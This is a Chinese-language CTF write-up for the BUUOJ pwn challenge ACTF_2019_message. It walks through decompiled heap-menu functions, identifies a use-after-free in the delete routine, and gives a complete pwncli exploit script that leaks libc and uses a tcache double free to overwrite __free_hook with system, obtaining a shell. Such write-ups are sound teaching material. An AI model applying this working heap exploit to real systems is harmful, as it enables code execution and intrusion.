buuoj-pwn-ACTF_2019_message
buuoj-pwn-ACTF_2019_message
总结
- 低版本存在uaf时优先考虑double free
- 给信号注册函数的函数signal()
逆向分析
glibc版本
ubuntu18.04
也就是glibc2.27
对于这道题,我们只需要知道该版本的tcache利用没啥限制,直接double free就好了
结构体typedef
简单逆向一下就知道结构体如下:
typedef struct message
{
__int64 size;
void *chunk_prt;
}chunk_;
关键函数
-
初始化函数
unsigned __int64 sub_400911() { unsigned __int64 v1; // [rsp+8h] [rbp-8h] v1 = __readfsqword(0x28u); setbuf(stdin, 0LL); setbuf(stdout, 0LL); setbuf(stderr, 0LL); signal(14, (__sighandler_t)handler); memset(&unk_602060, 0, 0x200uLL); alarm(0x3Cu); return __readfsqword(0x28u) ^ v1; } void __noreturn handler() { puts("See you next time. Bye~"); exit(0); }
给14这个信号注册了一个函数handler,现在我们可以查找一下14对应的事件
编号 信号名称 缺省动作 说明 1 SIGHUP 终止 终止控制终端或进程 2 SIGINT 终止 键盘产生的中断(Ctrl-C) 3 SIGQUIT dump 键盘产生的退出 4 SIGILL dump 非法指令 5 SIGTRAP dump debug中断 6 SIGABRT/SIGIOT dump 异常中止 7 SIGBUS/SIGEMT dump 总线异常/EMT指令 8 SIGFPE dump 浮点运算溢出 9 SIGKILL 终止 强制进程终止 10 SIGUSR1 终止 用户信号,进程可自定义用途 11 SIGSEGV dump 非法内存地址引用 12 SIGUSR2 终止 用户信号,进程可自定义用途 13 SIGPIPE 终止 向某个没有读取的管道中写入数据 14 SIGALRM 终止 时钟中断(闹钟) 15 SIGTERM 终止 进程终止 16 SIGSTKFLT 终止 协处理器栈错误 17 SIGCHLD 忽略 子进程退出或中断 18 SIGCONT 继续 如进程停止状态则开始运行 19 SIGSTOP 停止 停止进程运行 20 SIGSTP 停止 键盘产生的停止 21 SIGTTIN 停止 后台进程请求输入 22 SIGTTOU 停止 后台进程请求输出 23 SIGURG 忽略 socket发生紧急情况 24 SIGXCPU dump CPU时间限制被打破 25 SIGXFSZ dump 文件大小限制被打破 26 SIGVTALRM 终止 虚拟定时时钟 27 SIGPROF 终止 profile timer clock 28 SIGWINCH 忽略 窗口尺寸调整 29 SIGIO/SIGPOLL 终止 I/O可用 30 SIGPWR 终止 电源异常 31 SIGSYS/SYSUNUSED dump 系统调用异常
可以看出,就是时钟到0后,退出。
但是这也防止了调试,很奇怪,但是patch一下就好了(哈哈,原来是我pwncli起调试错了) -
菜单
unsigned __int64 sub_4009A8() { unsigned __int64 v1; // [rsp+8h] [rbp-8h] v1 = __readfsqword(0x28u); puts("=============================="); puts(" MESSAGE RECORD SYSTEM "); puts("=============================="); puts("1. Add message "); puts("2. Delete message "); puts("3. Edit message "); puts("4. Display message "); puts("5. Exit "); puts("=============================="); printf("What's your choice: "); return __readfsqword(0x28u) ^ v1; }
增删改查
-
add函数
unsigned __int64 add()
{
int i; // [rsp+8h] [rbp-28h]
int size; // [rsp+Ch] [rbp-24h]
char buf[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v4; // [rsp+28h] [rbp-8h]
v4 = __readfsqword(0x28u);
if ( chunk_num <= 10 )
{
puts("Please input the length of message:");
read(0, buf, 8uLL);
size = atoi(buf);
if ( size <= 0 )
{
puts("Length is invalid!");
}
else
{
for ( i = 0; i <= 9; ++i )
{
if ( !chunk_arr[i].chunk_prt )
{
LODWORD(chunk_arr[i].size) = size;
chunk_arr[i].chunk_prt = malloc(size);
puts("Please input the message:");
read(0, chunk_arr[i].chunk_prt, size);
++chunk_num;
return __readfsqword(0x28u) ^ v4;
}
}
}
}
else
{
puts("Message is full!");
}
return __readfsqword(0x28u) ^ v4;
最多可以申请10个chunk
- del函数
unsigned __int64 del()
{
int v1; // [rsp+Ch] [rbp-24h]
char buf[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v3; // [rsp+28h] [rbp-8h]
v3 = __readfsqword(0x28u);
if ( chunk_num <= 0 )
{
puts("There is no message in system");
}
else
{
puts("Please input index of message you want to delete:");
read(0, buf, 8uLL);
v1 = atoi(buf);
if ( v1 < 0 || v1 > 9 )
{
puts("Index is invalid!");
}
else
{
free(chunk_arr[v1].chunk_prt);
LODWORD(chunk_arr[v1].size) = 0;
--chunk_num;
}
}
return __readfsqword(0x28u) ^ v3;
}
存在UAF,此时应该去分析show函数
- edit函数
unsigned __int64 edit()
{
int v1; // [rsp+Ch] [rbp-24h]
char buf[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v3; // [rsp+28h] [rbp-8h]
v3 = __readfsqword(0x28u);
if ( chunk_num <= 0 )
{
puts("No message can you edit");
}
else
{
puts("Please input index of message you want to edit:");
read(0, buf, 8uLL);
v1 = atoi(buf);
if ( LODWORD(chunk_arr[v1].size) && v1 >= 0 && v1 <= 9 )
{
puts("Now you can edit the message:");
read(0, chunk_arr[v1].chunk_prt, SLODWORD(chunk_arr[v1].size));
}
else
{
puts("Index is invalid!");
}
}
return __readfsqword(0x28u) ^ v3;
}
存在if ( LODWORD(chunk_arr[v1].size) && v1 >= 0 && v1 <= 9 )
- show函数
unsigned __int64 show()
{
int v1; // [rsp+Ch] [rbp-24h]
char buf[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v3; // [rsp+28h] [rbp-8h]
v3 = __readfsqword(0x28u);
if ( chunk_num <= 0 )
{
puts("No message in system");
}
else
{
puts("Please input index of message you want to display:");
read(0, buf, 8uLL);
v1 = atoi(buf);
if ( LODWORD(chunk_arr[v1].size) && v1 >= 0 && v1 <= 9 )
printf("The message: %s\n", (const char *)chunk_arr[v1].chunk_prt);
else
puts("Index is invalid!");
}
return __readfsqword(0x28u) ^ v3;
}
存在if ( LODWORD(chunk_arr[v1].size) && v1 >= 0 && v1 <= 9 )
不可以直接对释放后的chunk进行show
总结
- 不可以直接对释放后的chunk进行show
- add的size无限制
- 联想double free
漏洞利用
主要思路
- 直接泄露libc,然后tcache double free打hook即可
过程
- 泄露libc
#---------leak_libc
add(0x420,'')
add(0x20,'/bin/sh\x00')
free(0)
add(0x30,'')
show(2)
lb = recv_current_libc_addr(0x3ec00a)
log_address_ex2(lb)
libc.address = lb
fh = libc.sym.__free_hook
log_address_ex2(fh)
-
double free
#--------double free attack _free_hook free(3) free(2) free(2) add(0x30,flat(fh)) add(0x30,flat(fh)) add(0x30,flat(libc.sym.system)) free(1)
EXP
#!/usr/bin/env python3
'''
Author: 7resp4ss
Date: 2022-12-10 23:25:48
LastEditTime: 2022-12-11 00:07:58
Description:
'''
from pwncli import *
cli_script()
io = gift["io"]
elf = gift["elf"]
libc = gift.libc
filename = gift.filename # current filename
is_debug = gift.debug # is debug or not
is_remote = gift.remote # is remote or not
gdb_pid = gift.gdb_pid # gdb pid if debug
if gift.remote:
libc = ELF("./libc-2.27.so")
gift["libc"] = libc
def cmd(idx):
sla('choice:',str(idx))
def add(size,cont):
cmd(1)
sla('message:',str(size))
sla('message',cont)
def free(idx):
cmd(2)
sla('delete:',str(idx))
def edit(idx,cont):
cmd(3)
sl(str(idx))
sleep(0.01)
sl(cont)
def show(idx):
cmd(4)
sl(str(idx))
#---------leak_libc
add(0x420,'')
add(0x20,'/bin/sh\x00')
free(0)
add(0x30,'')
add(0x30,'')
show(2)
lb = recv_current_libc_addr(0x3ec00a)
log_address_ex2(lb)
libc.address = lb
fh = libc.sym.__free_hook
log_address_ex2(fh)
#--------double free attack _free_hook
free(3)
free(2)
free(2)
add(0x30,flat(fh))
add(0x30,flat(fh))
add(0x30,flat(libc.sym.system))
free(1)
io.interactive()